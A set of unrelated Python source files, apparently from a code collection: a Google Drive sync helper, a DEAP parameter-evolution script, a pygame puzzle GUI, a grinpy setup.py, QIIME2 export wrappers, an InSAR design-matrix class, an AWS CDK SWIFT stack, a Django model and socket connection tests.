not newFilename: return fileId = getFileId(oldFilename) if not fileId: # not found raise Exception(f"{self.name}.rename: File not found") body = {"name": newFilename} self.service.files().update(fileId=fileId, body=body).execute() def _parse_dest_path(self, path = ''): """This is an auxiliary function that helps to parse a path as a folderId, plus optionally a filename. Examples: a) path/to/folder will be parsed as a folderId (if that folder actually exists) b) path/to/folder/ is the same than before c) path/to/folder/foo.txt will be parsed as a folderId and a filename NOTE: in all cases, a leading '/' will be ignored, '/path/to/folder' is the same that 'path/to/folder' @param path String. The destination path to be parsed. @return If the folder doesn't exist, returns None. Otherwise, it can return either a tuple (folderId,filename), or (folderId, ''), depending of wheter a filename is given or not in the path (cases (b) or (c)) """ sep = '/' if path and path[0] == sep: # remove dealing '/' path = path[1:] if not path: return None v = path.split(sep) folderId = "root" mimeType = MIME_TYPE_FOLDER i = 0 # iterates through of the path (array v) while i < len(v) and mimeType == MIME_TYPE_FOLDER: filename = v[i] subfolders = self.list_folders(name = filename, parentId = folderId) if subfolders: folderId = subfolders[0]['id'] else: if i == len(v) - 1: # e.g. 'path/to/folder/foo.txt', then folderId = ID_OF('path/to/folder/'), # and filename = 'foo.txt' return (folderId, filename) else: # path not found return None i += 1 # this is the case 'path/to/folder/', no filename given return (folderId, '') def createFolder(self, path = ''): """Create a new folder in Drive. It recognizes string names like '/path/to/my/new/folder', or '/path/to/my/new/folder/' @param path String. The path to the folder to be created. @return On success, return the ID of the new created folder. """ ROOT_ID = "root" return self.createFolderRecursively(path, ROOT_ID) def createFolderRecursively(self, path = '', parentId = ''): """Auxiliary function to createFolder() """ if not parentId: return '' # remove dealing and trailing '/' if path: if path[0] == '/': path = path[1:] if path[-1] == '/': path = path[:-1] if not path: raise Exception(f"{self.name}.createFolder: Incorrect path: '{path}'") v = path.split('/', 1) a = v[0] if len(v) > 1: b = v[1] else: b = None # --- debug --- # is 'a' child of parentId ? #print(f"create recursively: a='{a}', b='{b}'") # q = f"name='{a}' and '{parentId}' in parents" # --- debug --- #print(f"query: {q}") r = self.list_all_files(query=q, attr='id') if not r: # --- debug --- #print(f"....create '{a}' as a child of {parentId}") # file_metadata = { 'name': a, 'mimeType': 'application/vnd.google-apps.folder' } file = self.service.files().create(body=file_metadata, fields='id').execute() # Move the created folder to the new location fileId = file.get('id') # Retrieve the existing parents to remove file = self.service.files().get( fileId=fileId, fields='parents' ).execute() previous_parents = ",".join(file.get('parents')) file = self.service.files().update( fileId=fileId, addParents=parentId, removeParents=previous_parents, fields='id, parents' ).execute() parentId = file.get('id') else: parentId = r[0]['id'] # now, parentId is the id of 'a' # then, call recursively searching for the child 'b' of 'a' if b: return self.createFolderRecursively(b, parentId) else: return parentId def sync(self, local_path='', remote_path='', regex = '', recursion_level = 1, max_recursion_level = 10): """Synchronize local and remote path. Traverses recursively the local directory (*), recreates the directory structure in the remote path, and copies only the files more recently modified, or with a larger size. (*)NOTE: if the local_path corresponds to regular file (instead of a directory) it will synchronize that single file to the remote path. @param local_path String. The full path of the source folder. @param remote_path String. The path of the remote folder. @param regex (optional) String. Only sync the local files matching regex. e.g. regex = '.*\.txt$' will match 'foo.txt', but not 'foo.csv' @param max_recursion_level Int. Max recursion level to look into it. Default 10. @return None. @raise Exception, if the local path cannot be properly read (e.g., permissions), or an exceptions arises on calling other methods of the API (like upload_file()) """ if not local_path or not remote_path: return if recursion_level > max_recursion_level: return # NOTE.- 2021.08.24 # CAUTION: Removing trailing / to all paths. # As the program doesn't distinguish between folder/foo and folder/foo/, and # keeping this trailing can bring to folder/foo//folder2 while concatenation # with '/' (!!!) if local_path[-1] == '/': local_path = local_path[:-1] if remote_path[-1] == '/': remote_path = remote_path[:-1] print(F"Syncing [Local]:{local_path} to [Drive]:{remote_path}") if not os.path.exists(local_path): raise Exception(f"{self.name}.sync: Local path not found") # try creating the remote folder (is not exist), otherwise # list its content r = self.searchFile(remote_path) if not r or r.get('mimeType') != MIME_TYPE_FOLDER: # NOTE: if the file exists but it is a regular file, then it will create a # folder with the same name. This is weird, but Google Drive allows # to have several files with the same name. # By future versions, this behavior could be changed to delete the # older (regular) file. print(f"+ creating folder '{remote_path}'") remoteFolderId = self.createFolder(remote_path) else: remoteFolderId = r['id'] if os.path.isfile(local_path): # if the source is a file self._sync_file(local_path, remote_path) return elif not os.path.isdir(local_path): # is it is not a file, neither a directory: fail raise Exception(f"{self.name}.sync: Local path is not a directory") # otherwise, the source is a directory ... # list the content of the local directory local_files = os.listdir(local_path) # list the content of the remote directory remote_files = self.list_directory(fileId = remoteFolderId) # regex matcher if regex: matcher = re.compile(regex) else: matcher = None for entry in local_files: local_file = local_path + '/' + entry if os.path.isdir(local_path + '/' + entry): self.sync(local_path + '/' + entry, remote_path + '/' + entry, regex= regex, recursion_level = recursion_level + 1, max_recursion_level = max_recursion_level) elif os.path.isfile(local_path + '/' + entry): # upload this file #print(f"match [{regex}]? {not not matcher.match(local_file)}") if matcher and not matcher.match(local_file): # if regex is given, omit the files not matching the pattern continue print(f"CALL _sync_file({local_file}, {remote_path})") self._sync_file(local_file, remote_path) def _sync_file(self, local_file, dest): """Auxiliary function to sync a single file (not a folder). If the file does not exist in the destination, it will be created. If a file with that name actually exists, then it will update based in a criteria: - if the sizes between local and remote are different, or - if the modification time is newer in the local file @param local_file String. The full path of the source file. @param dest String. The path of the destination folder. @ return None """ if not local_file or not dest: return # inspect the destination filename = os.path.basename(local_file) remote_name = dest + '/' + filename r = self.searchFile(remote_name) if not r: print(f">> uploading '{local_file}' to '{remote_name}") self.upload_file(origin = local_file, filename = filename, dest = dest) else: # file exists, check timestamp and size _fstat = os.stat(local_file) """ NOTE: how to convert from localtime to utctime https://stackoverflow.com/questions/79797/how-to-convert-local-time-string-to-utc Option 1 . >>> import datetime >>> utc_datetime = datetime.datetime.utcnow() >>> utc_datetime.strftime("%Y-%m-%d %H:%M:%S") '2010-02-01 06:59:19 Option 2. NOTE - If any of your data is in a region that uses DST, use pytz and take a look at 's answer. If you want to obtain the UTC time from a given string and your lucky enough to be in a region in the world that either doesn't use DST, or you have data that is only offset from UTC without DST applied: --> using local time as the basis for the offset value: >>> # Obtain the UTC Offset for the current system: >>> UTC_OFFSET_TIMEDELTA = datetime.datetime.utcnow() - datetime.datetime.now() >>> local_datetime = datetime.datetime.strptime("2008-09-17 14:04:00", "%Y-%m-%d %H:%M:%S") >>> result_utc_datetime = local_datetime + UTC_OFFSET_TIMEDELTA >>> result_utc_datetime.strftime("%Y-%m-%d %H:%M:%S") '2008-09-17 04:04:00' >>> UTC_OFFSET = 10 >>> result_utc_datetime = local_datetime - datetime.timedelta(hours=UTC_OFFSET) >>> result_utc_datetime.strftime("%Y-%m-%d %H:%M:%S") '2008-09-17 04:04:00' Option 3. >>> import datetime >>> timezone_aware_dt = datetime.datetime.now(datetime.timezone.utc) """ remote_mtime = datetime.strptime(r['modifiedTime'], "%Y-%m-%dT%H:%M:%S.%fZ").timestamp() UTC_OFFSET_TIMEDELTA = datetime.utcnow() - datetime.now() # NOTE: local mtime in UTC (!) local_mtime = (datetime.fromtimestamp(_fstat.st_mtime) + UTC_OFFSET_TIMEDELTA).timestamp() remote_size = r['size'] local_size = _fstat.st_size if local_size != int(remote_size) or local_mtime > remote_mtime: print(f"size: [local]{local_size} [remote]{remote_size}") print(f"mtime: [local]{datetime.fromtimestamp(local_mtime)} [remote]{datetime.fromtimestamp(remote_mtime)}") print(f">> updating '{local_file}'") self.remove(path = remote_name, prompt = False) self.upload_file(origin = local_file, filename = os.path.basename(local_file), dest = dest) def __del__(self): pass1-10 #! /usr/bin/env python3 # ============================== # # This script is employed to # # compute (evolve) the Ks # # parameters that are used in # # the NN controller formula # # ============================== # import os import time import random import argparse import subprocess import numpy as np import multiprocessing import vie_measure # ViE minimization version with constraints from deap import base, creator, tools # ============ EVOLUTION CONFIGURATION ============ # # length of the command input step STEP_LEN = 10000 INIT_REC_0 = STEP_LEN*5 INIT_REC_180 = STEP_LEN*11 # skip init + 0 + transition values # mutation configuration MUT_PROB = 0.4 MIN_CONSTRAINS = [1.0]*5 MAX_CONSTRAINS = [2.0]*5 TARGET_COMPRESSION = 0.4 # stiffness: 0.1 SIM_SEED = 42 # ================================================= # def evaluate_sol(solution): # prog ... exec_string = '{} {} {} {} {}'.format('../apps/robotMeasurements', '../test_inputs/stiff_single/single_0.1.txt', str(solution), 0, 0, SIM_SEED) cproc = subprocess.run(exec_string.split(' '), capture_output=True) raw_data = cproc.stdout.decode("utf-8").strip().split('è,')[1:-1] data = np.asarray([[[float(d) for d in e.split(';')] for e in line.split(',')[1:]] for line in raw_data])[:, 1:-1] # extract from the data only the initial compression values and the final ones initial_coms = np.median(data[list(range(INIT_REC_0-1, (INIT_REC_0+STEP_LEN*3)))], axis=0) # command 0 final_coms = np.median(data[list(range(INIT_REC_180-2, (INIT_REC_180+STEP_LEN*3)-2))], axis=0) # command 180 init_face_com_1 = np.mean(initial_coms[[1, 3, 4]], axis=0) init_face_com_5 = np.mean(initial_coms[[0, 2, 5]], axis=0) init_comp = np.linalg.norm(init_face_com_1 - init_face_com_5) fin_face_com_1 = np.mean(final_coms[[1, 3, 4]], axis=0) fin_face_com_5 = np.mean(final_coms[[0, 2, 5]], axis=0) fin_comp = np.linalg.norm(fin_face_com_1 - fin_face_com_5) # relative compression wrt to initial position current_compression = fin_comp/init_comp # consider invalid solutions the ones that compress the module more than the requirements return (current_compression, ) if current_compression >= TARGET_COMPRESSION else (1, ) def mutate_sol(solution): # gaussian mutation for i in range(len(solution.ks)): if random.random() < MUT_PROB: solution.ks[i] += np.random.normal(0, 0.12) return solution, def cross(sol1, sol2): return sol1, sol2 class ModuleEvoConf: def __init__(self, min_constraints, max_constraints): self.min_constraints = min_constraints self.max_constraints = max_constraints self.ks = [min_constraints[i] + np.abs(np.random.normal(0, 0.4)) for i in range(len(min_constraints))] def __str__(self): return ' '.join(map(str, self.ks)) def __repr__(self): return self.__str__() def __lt__(self, other): return self.fitness.values[0] < other.fitness.values[0] def __eq__(self, other): return (self.ks == other.ks and self.fitness.values[0] == other.fitness.values[0]) def check_viability(self): for i in range(len(self.ks)): if self.ks[i] < self.min_constraints[i] or self.ks[i] > self.max_constraints[i]: return False return True def gen_sol(create, min_constraints, max_constraints): """ Generate a random individual for the population. """ return create(min_constraints, max_constraints) creator.create('FitnessMin', base.Fitness, weights=(-1.0,)) creator.create('Configuration', ModuleEvoConf, fitness=creator.FitnessMin) def main(tbox): # ======= SIMULATION CONFIGURATION ======= # max_num_sims = 12000 pop_size = 32 num_mutants = 32 conv_rate = 0.05 min_update = 0.001 seeds = [42, 7240, 213, 96542, 10537996] # define output files and directories results_file = os.path.join('outputs', 'module_evo_results.csv') if not os.path.exists(os.path.dirname(results_file)): os.makedirs(os.path.dirname(results_file), exist_ok=True) # ======================================== # bests_history = [] start_time = time.time() for seed in seeds: random.seed(seed) np.random.seed(seed) pop = tbox.population(pop_size) print('Start ViE execution...') [pop, bests] = vie_measure.run(pop, tbox, max_num_sims, conv_rate, num_mutants, min_update) print('ViE execution terminated!\n') bests_history.append(bests) for bh in bests_history: print('seed: {}'.format(seed)) for b in sorted(bh): print('\t', b.fitness.values[0], '\t', b) with open(results_file, 'w') as out_file: out_file.write('fitness,K1,K4,K6,K7,K10\n') for bh in bests_history: for b in sorted(bh): out_file.write(str(b.fitness.values[0]) + ',' + ','.join(str(b).split(' ')) + '\n') end_time = int(time.time() - start_time) # record how much time it needed for current experiment elap_time = '{:02d}:{:02d}:{:02d}'.format(end_time // 3600, (end_time % 3600 // 60), end_time % 60) print('Computation time: {}'.format(elap_time)) if __name__ == '__main__': assert 0.0 <= TARGET_COMPRESSION <= 1.0, 'TARGET_COMPRESSION must be within the interval [0, 1].' parser = argparse.ArgumentParser(description='Script for evolving module parameters (Ks)') args = parser.parse_args() # prepare the structure of the EA algorithm toolbox = base.Toolbox() toolbox.register('conf', gen_sol, creator.Configuration, MIN_CONSTRAINS, MAX_CONSTRAINS) toolbox.register('population', tools.initRepeat, list, toolbox.conf) toolbox.register('evaluate', evaluate_sol) toolbox.register('mutate', mutate_sol) toolbox.register('mate', cross) toolbox.register('selectBest', tools.selBest) toolbox.register('select', tools.selRoulette) toolbox.register('fill', tools.selRandom) pool = multiprocessing.Pool() toolbox.register('map', pool.map) # execute the evolutionary simulation main(toolbox) pool.close() 1-10 import time import pygame from Grid import DOWN from Grid import LEFT from Grid import RIGHT from Grid import UP RED = (255, 0, 0) WHITE = (255, 255, 255) BLACK = (0, 0, 0) GREEN = (0, 255, 0) pygame.init() pygame.mixer.init() screen = pygame.display.set_mode((598, 598)) screen.fill((0, 0, 0)) pygame.display.set_caption("Arrange the Numbers!") font = pygame.font.Font('fonts/RobotoMono-Bold.ttf', 35) clock = pygame.time.Clock() victory = pygame.mixer.Sound("sounds/TaDa.ogg") class Tile(object): def __init__(self, num, x, y): self.number = num self.x = x self.y = y self.width = 99 self.height = 99 def draw(self): pygame.draw.rect(screen, RED, (self.x, self.y, self.width, self.height), 0) text = font.render(str(self.number), True, WHITE) textRect = text.get_rect(center=((2 * self.x + self.width) / 2, (2 * self.y + self.height) / 2)) screen.blit(text, textRect) def move_it(self, dest): final_x = self.x + dest[0] final_y = self.y + dest[1] while self.x != final_x or self.y != final_y: screen.fill(WHITE, [self.x, self.y, 99, 99]) self.x += int(dest[0] / 50) self.y += int(dest[1] / 50) self.draw() pygame.display.update() clock.tick(60) def gui(action_sequence: list, num_list: list, elapsed_time: float): def moves_display(my_text): txt = font.render(my_text, True, WHITE) textRect = txt.get_rect(center=(299, 550)) screen.blit(txt, textRect) def show_congrats(): txt = font.render("Solved in " + str(elapsed_time) + "seconds", True, GREEN) textRect = txt.get_rect(center=(299, 49)) screen.blit(txt, textRect) pygame.display.update() listOfTiles = [] move_counter = 0 index = 0 empty_x = 0 empty_y = 0 pygame.draw.rect(screen, WHITE, (98, 98, 403, 403)) for y in range(100, 500, 100): for x in range(100, 500, 100): if index < 16: da_num = num_list[index] if da_num != 0: new_tile = Tile(da_num, x, y) listOfTiles.append(new_tile) new_tile.draw() else: empty_x = x empty_y = y index += 1 pygame.display.update() for action in action_sequence: xy_dist = [None, None] if action == LEFT: xy_dist = [-100, 0] elif action == RIGHT: xy_dist = [100, 0] elif action == UP: xy_dist = [0, -100] elif action == DOWN: xy_dist = [0, 100] for tile in listOfTiles: if tile.x + xy_dist[0] == empty_x and \ tile.y + xy_dist[1] == empty_y: move_counter += 1 empty_x = tile.x empty_y = tile.y tile.move_it(xy_dist) break screen.fill(BLACK, [200, 515, 200, 85]) moves_display("Moves: " + str(move_counter)) pygame.display.update() clock.tick(60) show_congrats() victory.play() time.sleep(3) 10-100 #!/usr/bin/env python # -*- coding: utf-8 -*- """The setup script.""" import os from setuptools import setup, find_packages from setuptools.command.install import install import sys VERSION = "19.5a0" with open("README.md") as readme_file: readme = readme_file.read() with open("HISTORY.md") as history_file: history = history_file.read() requirements = ["networkx>=2.1", "numpy>=1.14.2", "pulp>=1.6.8"] setup_requirements = ["pytest-runner"] test_requirements = ["pytest", "pytest-cov"] class VerifyVersionCommand(install): """Custom command to verify that the git tag matches our version""" description = "verify that the git tag matches our version" def run(self): tag = os.getenv("CIRCLE_TAG") if tag != VERSION: info = "Git tag: {0} does not match the version of this app: {1}".format(tag, VERSION) sys.exit(info) setup( author="", author_email="", classifiers=[ "Development Status :: 2 - Pre-Alpha", "Intended Audience :: Science/Research", "Intended Audience :: Education", "License :: OSI Approved :: BSD License", "Operating System :: OS Independent", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Topic :: Scientific/Engineering :: Mathematics", "Topic :: Software Development :: Libraries :: Python Modules", "Natural Language :: English", ], description="Graph invariants in Python.", install_requires=requirements, license="BSD license", long_description=readme + "\n\n" + history, long_description_content_type="text/markdown", include_package_data=True, keywords="grinpy", name="grinpy", packages=find_packages(), setup_requires=setup_requirements, test_suite="tests", tests_require=test_requirements, url="https://github.com/somacdivad/grinpy", version=VERSION, zip_safe=False, cmdclass={"verify": VerifyVersionCommand}, ) linyc74/qiime2_pipeline from os.path import abspath from .tools import edit_fpath from .template import Processor class Export(Processor): def mv(self, src: str, dst: str): if abspath(src) != abspath(dst): self.call(f'mv {src} {dst}') class ExportFeatureTable(Export): feature_table_qza: str tsv: str def main(self, feature_table_qza: str) -> str: self.feature_table_qza = feature_table_qza self.qza_to_biom() self.biom_to_tsv() return self.tsv def qza_to_biom(self): cmd = self.CMD_LINEBREAK.join([ 'qiime tools export', f'--input-path {self.feature_table_qza}', f'--output-path {self.workdir}', ]) self.call(cmd) def biom_to_tsv(self): self.tsv = edit_fpath( fpath=self.feature_table_qza, old_suffix='.qza', new_suffix='.tsv', dstdir=self.workdir ) cmd = self.CMD_LINEBREAK.join([ 'biom convert --to-tsv', f'-i {self.workdir}/feature-table.biom', f'-o {self.tsv}' ]) self.call(cmd) class ExportFeatureSequence(Export): feature_sequence_qza: str output_fa: str def main(self, feature_sequence_qza: str) -> str: self.feature_sequence_qza = feature_sequence_qza self.qza_to_fa() self.move_fa() return self.output_fa def qza_to_fa(self): cmd = self.CMD_LINEBREAK.join([ 'qiime tools export', f'--input-path {self.feature_sequence_qza}', f'--output-path {self.workdir}', ]) self.call(cmd) def move_fa(self): self.output_fa = edit_fpath( fpath=self.feature_sequence_qza, old_suffix='.qza', new_suffix='.fa', dstdir=self.workdir ) self.mv(f'{self.workdir}/dna-sequences.fasta', self.output_fa) class ExportTaxonomy(Export): taxonomy_qza: str tsv: str def main(self, taxonomy_qza: str) -> str: self.taxonomy_qza = taxonomy_qza self.qza_to_tsv() self.move_tsv() return self.tsv def qza_to_tsv(self): cmd = self.CMD_LINEBREAK.join([ 'qiime tools export', f'--input-path {self.taxonomy_qza}', f'--output-path {self.workdir}', ]) self.call(cmd) def move_tsv(self): self.tsv = edit_fpath( fpath=self.taxonomy_qza, old_suffix='.qza', new_suffix='.tsv', dstdir=self.workdir ) self.mv(f'{self.workdir}/taxonomy.tsv', self.tsv) class ExportAlignedSequence(Export): aligned_sequence_qza: str output_fa: str def main(self, aligned_sequence_qza: str) -> str: self.aligned_sequence_qza = aligned_sequence_qza self.qza_to_fa() self.move_fa() return self.output_fa def qza_to_fa(self): cmd = self.CMD_LINEBREAK.join([ 'qiime tools export', f'--input-path {self.aligned_sequence_qza}', f'--output-path {self.workdir}', ]) self.call(cmd) def move_fa(self): self.output_fa = edit_fpath( fpath=self.aligned_sequence_qza, old_suffix='.qza', new_suffix='.fa', dstdir=self.workdir ) self.mv(f'{self.workdir}/aligned-dna-sequences.fasta', self.output_fa) class ExportTree(Export): tree_qza: str nwk: str def main(self, tree_qza: str) -> str: self.tree_qza = tree_qza self.qza_to_nwk() self.move_nwk() return self.nwk def qza_to_nwk(self): cmd = self.CMD_LINEBREAK.join([ 'qiime tools export', f'--input-path {self.tree_qza}', f'--output-path {self.workdir}', ]) self.call(cmd) def move_nwk(self): self.nwk = edit_fpath( fpath=self.tree_qza, old_suffix='.qza', new_suffix='.nwk', dstdir=self.workdir ) self.mv(f'{self.workdir}/tree.nwk', self.nwk) class ExportBetaDiversity(Export): distance_matrix_qza: str tsv: str def main(self, distance_matrix_qza: str) -> str: self.distance_matrix_qza = distance_matrix_qza self.qza_to_tsv() self.move_tsv() return self.tsv def qza_to_tsv(self): cmd = self.CMD_LINEBREAK.join([ 'qiime tools export', f'--input-path {self.distance_matrix_qza}', f'--output-path {self.workdir}', ]) self.call(cmd) def move_tsv(self): self.tsv = edit_fpath( fpath=self.distance_matrix_qza, old_suffix='.qza', new_suffix='.tsv', dstdir=self.workdir ) self.mv(f'{self.workdir}/distance-matrix.tsv', self.tsv) piyushrpt/fringe #!/usr/bin/env python3 ''' Copyright (c) 2018-, California Institute of Technology ("Caltech"). U.S. Government sponsorship acknowledged. All rights reserved. Author (s): ''' import datetime import numpy as np class DesignMatrix(object): """ Class to create design matrix for a network of interferograms. Examples -------- >>> import DesignMatrix >>> dm = DesignMatrix.DesignMatrix() >>> dm.pairs=['1_2','1_3','2_3', '2_4', '2_5', '3_4', '3_5', '3_6','4_5', '4_6', '5_6'] >>> dm.configure() >>> dm.closure() >>> G1 = dm.getG() >>> dm.timeseries() >>> G2 = dm.getG() >>> dm.differential_timeseries() >>> G3 = dm.getG() """ def __init__(self, pairs = None, delimiter="_"): """Constructor for design matrix. Parameters ---------- pairs: a list of strings representing reference and follower acquisitions separated by delimiter which can be specified. delimiter: The string used to separate refernce and follower acquisitions. By default, this is '_'. """ self.G = None self.pairs = pairs self.__pairs_delimiter__ = delimiter def configure(self, referenceEpoch = None): """ configures the DesignMatrix object. extracts the reference and follower acquisitions and creates a list of unique epochs. Parameters ---------- referenceEpoch: the acquisition which is considered as reference epoch for the timeseries. """ self.numPairs = len(self.pairs) self.epochs = [] self.references = [None]*self.numPairs self.followers = [None]*self.numPairs for i in range(self.numPairs): reference = self.pairs[i].split(self.__pairs_delimiter__)[0] follower = self.pairs[i].split(self.__pairs_delimiter__)[1] if reference not in self.epochs: self.epochs.append(reference) if follower not in self.epochs: self.epochs.append(follower) self.references[i] = reference self.followers[i] = follower self.numEpochs = len(self.epochs) self.epochs.sort() if referenceEpoch: self.referenceEpoch = referenceEpoch else: self.referenceEpoch = self.epochs[0] def timeseries(self): """ Design G matrix for a model as d = Gm where d is the interferometric phases of pairs of SAR acquisitions and m is the timeseries of phase relative to a reference acquisition. The design matrix is same as A matrix in the SBAS algorithm (Berardino et al, 2002) """ A = np.zeros((self.numPairs, self.numEpochs)) for ni in range(self.numPairs): ndxt1 = self.epochs.index(self.references[ni]) ndxt2 = self.epochs.index(self.followers[ni]) A[ni,ndxt1] = -1 A[ni,ndxt2] = 1 refIndex = self.epochs.index(self.referenceEpoch) A = np.hstack((A[:,0:refIndex], A[:,(refIndex+1):])) self.G = A def differential_timeseries(self): """ Design G matrix for a model as d = Gm where d is the interferometric phases of pairs of SAR acquisitions and m is the differential timeseries of phase, (i.e., a sequential interferometric stack). The design matrix is based on (Fattahi et al, 2017). """ C = np.zeros((self.numPairs, self.numEpochs-1)) for ni in range(self.numPairs): ndxt1 = self.epochs.index(self.references[ni]) ndxt2 = self.epochs.index(self.followers[ni]) C[ni,ndxt1:ndxt2] = 1 self.G = C def timeseries_timefn(self): self.G = None def closure(self): # copied this function from PySAR """Generate the design matrix for triplets of interferograms for a model where Gd = 0. Parameters ---------- self.pairs : list of strings in t1_t2 form (t1: first acquisition, t2: second acquisition) Returns ------- G : 2D np.array in size of (num_tri, num_ifgram) consisting 0, 1, -1 for 3 SAR acquisition in t1, t2 and t3 in time order, ifg1 for (t1, t2) with 1 ifg2 for (t1, t3) with -1 ifg3 for (t2, t3) with 1 """ triangle_idx = [] for ifgram1 in self.pairs: # ifgram1 (t1, t2) t1, t2 = ifgram1.split('_') # ifgram2 candidates (t1, t3) t3_list = [] for ifgram2 in self.pairs: if t1 == ifgram2.split('_')[0] and ifgram2 != ifgram1: t3_list.append(ifgram2.split('_')[1]) # ifgram2/3 if len(t3_list) > 0: for t3 in t3_list: ifgram3 = '{}_{}'.format(t2, t3) if ifgram3 in self.pairs: ifgram1 = '{}_{}'.format(t1, t2) ifgram2 = '{}_{}'.format(t1, t3) ifgram3 = '{}_{}'.format(t2, t3) triangle_idx.append([self.pairs.index(ifgram1), self.pairs.index(ifgram2), self.pairs.index(ifgram3)]) triangle_idx = np.array(triangle_idx, np.int16) triangle_idx = np.unique(triangle_idx, axis=0) # triangle_idx to C num_triangle = triangle_idx.shape[0] self.G = np.zeros((num_triangle, len(self.pairs)), np.float32) for i in range(num_triangle): self.G[i, triangle_idx[i, 0]] = 1 self.G[i, triangle_idx[i, 1]] = -1 self.G[i, triangle_idx[i, 2]] = 1 def getG(self): return self.G sijuvj/quickstart-swift-digital-connectivity """main swift stack""" from constructs import Construct from aws_cdk import App, Stack, CfnOutput from aws_cdk import aws_ec2 as _ec2 from cdk_ec2_key_pair import KeyPair from cmk.generic_cmk import GenericCMK from network.generic_network import GenericNetwork from network.swift_vpc_endpoints import SwiftVPCEndpoints from security.swift_security import SWIFTSecurity from swift_amh.swift_amh import SwiftAMH from swift_database.swift_database import SwiftDatabase from swift_iam_role.swift_iam_role import SwiftIAMRole from swift_mq.swift_mq import SwiftMQ from swift_sagsnl.swift_sagsnl import SwiftSAGSNL from utilities.swift_components import SwiftComponents class SwiftMain(Stack): """main swift stack, for creating nested stack""" # pylint: disable=too-many-locals def __init__(self, scope: Construct, cid: str, **kwargs) -> None: super().__init__(scope, cid, **kwargs) # Create CMK used by the entire stack cmk_stack = GenericCMK(self, "SwiftConnectivityCMK") workload_key = cmk_stack.get_cmk() # Create networking constructs network_stack = GenericNetwork( self, "SwiftConnectivityVPC", cidr_range=self.node.try_get_context("vpc_cidr")) network_stack.set_vgw(True) network_stack.add_isolated_subnets(SwiftComponents.SAGSNL) network_stack.add_isolated_subnets(SwiftComponents.AMH) network_stack.add_isolated_subnets("Database") network_stack.add_isolated_subnets("MQ") network_stack.set_vgw_propagation_subnet( _ec2.SubnetSelection(subnet_group_name=SwiftComponents.SAGSNL)) network_stack.generate() # Create security constructs ( IAM Role, SGs, SG Rules, NACLs ) security_stack = SWIFTSecurity( self, "SwiftConnectivitySecurity", vpc=network_stack.get_vpc(), swift_ip_range=self.node.try_get_context("swift_ip_range"), hsm_ip=self.node.try_get_context("hsm_ip"), workstation_ip_range=self.node.try_get_context("workstation_ip_range") ) ops_key_pair: KeyPair = \ KeyPair(self, "OperatorKeyPair2", name="OperatorKeyPair2", region=self.region, description="KeyPair for the systems operator, just in case." ) # Create SAGSNL instance , should deploy # the instance to the AZ that's according to the provided IP sagsnl_ami = self.node.try_get_context("sagsnl_ami") if not sagsnl_ami: sagsnl_ami = None sag_snls = [] for i in range(1, 3): sag_snl = SwiftSAGSNL( self, cid=SwiftComponents.SAGSNL + str(i), network=network_stack, security=security_stack, workload_key=workload_key, ops_key=ops_key_pair, private_ip=self.node.try_get_context("sagsnl" + str(i) + "_ip"), ami_id=sagsnl_ami, vpc_subnets=_ec2.SubnetSelection( availability_zones=[self.availability_zones[i - 1]], subnet_group_name=SwiftComponents.SAGSNL) ) sag_snls.append(sag_snl.get_instance_id()) amh_ami = self.node.try_get_context("amh_ami") if not amh_ami: amh_ami = None # Create AMH instance amhs = [] for i in range(1, 3): amh = SwiftAMH(self, cid=SwiftComponents.AMH + str(i), network=network_stack, security=security_stack, ami_id=amh_ami, workload_key=workload_key, ops_key=ops_key_pair ) amhs.append(amh.get_instance_id()) # Create RDS Oracle for AMH to use database_stack = SwiftDatabase(self, "Database", network_stack, security_stack, workload_key) # Create Amazon MQ broker for AMH as jms integration mq_broker = SwiftMQ(self, "MQMessageBroker", network_stack, security_stack, workload_key) # enforce Security group and rule and nacls after the components are created security_stack.enforce_security_groups_rules() security_stack.create_nacls() # Create VPC endpoints and VPC Endpoints policy SwiftVPCEndpoints(self, "VPCEndPointStack", application_names=[SwiftComponents.AMH, SwiftComponents.SAGSNL], instance_roles_map=security_stack.get_instance_roles(), endpoint_sg=security_stack.get_security_group("VPCEndpointSG"), vpc=network_stack.get_vpc(), instance_ids={SwiftComponents.AMH: amhs, SwiftComponents.SAGSNL: sag_snls} ) for count, value in enumerate(sag_snls): CfnOutput(self, "SAGSNL" + str(count + 1) + "InstanceID", value=value) for count, value in enumerate(amhs): CfnOutput(self, "AMH" + str(count + 1) + "InstanceID", value=value) CfnOutput(self, "VPCID", value=network_stack.get_vpc().vpc_id) # Create sample role for accessing the components created if self.node.try_get_context("create_sample_iam_role") == "true": SwiftIAMRole(self, "IAMRole", instance_ids=sag_snls + amhs, database_instance=database_stack.get_db_instance(), mq_broker_arn=mq_broker.get_arn() ) server/events/models.py0 from django.db import models # Create your models here. class Event(models.Model): title = models.CharField(max_length=150) description = models.TextField() slug = models.SlugField(unique=True) location = models.CharField(max_length=255) start_date = models.DateTimeField() end_date = models.DateTimeField() unaiur/python-maxcube-api import socket from unittest import TestCase from unittest.mock import patch from maxcube.connection import Connection from maxcube.deadline import Timeout from maxcube.message import Message TEST_TIMEOUT = Timeout("test", 1000.0) @patch("socket.socket", spec=True) class TestConnection(TestCase): """ Test Max! Cube connections """ def connect(self, socketMock): self.socket = socketMock.return_value self.connection = Connection("host", 1234) self.socket.settimeout.assert_called_once_with(2.0) self.socket.connect.assert_called_once_with(("host", 1234)) def testReadAMessage(self, socketMock): self.connect(socketMock) self.socket.recv.return_value = b"A:B\r\n" self.assertEqual( Message("A", "B"), self.connection.recv(TEST_TIMEOUT.deadline()) ) self.socket.close.assert_not_called() def testReadPartialLine(self, socketMock): self.connect(socketMock) self.socket.recv.side_effect = [b"A:", b"B\r\n"] self.assertEqual( Message("A", "B"), self.connection.recv(TEST_TIMEOUT.deadline()) ) def testReadMultipleLines(self, socketMock): self.connect(socketMock) self.socket.recv.return_value = b"A:B\r\nC\r\n" self.assertEqual( Message("A", "B"), self.connection.recv(TEST_TIMEOUT.deadline()) ) self.socket.recv.reset_mock() self.assertEqual( Message("C", ""), self.connection.recv(TEST_TIMEOUT.deadline()) ) def testReadAtConnectionClosing(self, socketMock): self.connect(socketMock) self.socket.recv.return_value = b"" self.assertIsNone(self.connection.recv(TEST_TIMEOUT.deadline())) self.socket.close.assert_called_once() def testReadTimeout(self, socketMock): self.connect(socketMock) self.socket.recv.side_effect = [socket.timeout] self.assertIsNone(self.connection.recv(TEST_TIMEOUT.deadline())) self.socket.close.assert_not_called() def testSendMessage(self, socketMock): self.connect(socketMock) self.connection.send(Message("A", "B")) self.socket.send.assert_called_with(b"A:B\r\n") def testCloseErrorsAreIgnored(self, socketMock): self.connect(socketMock) 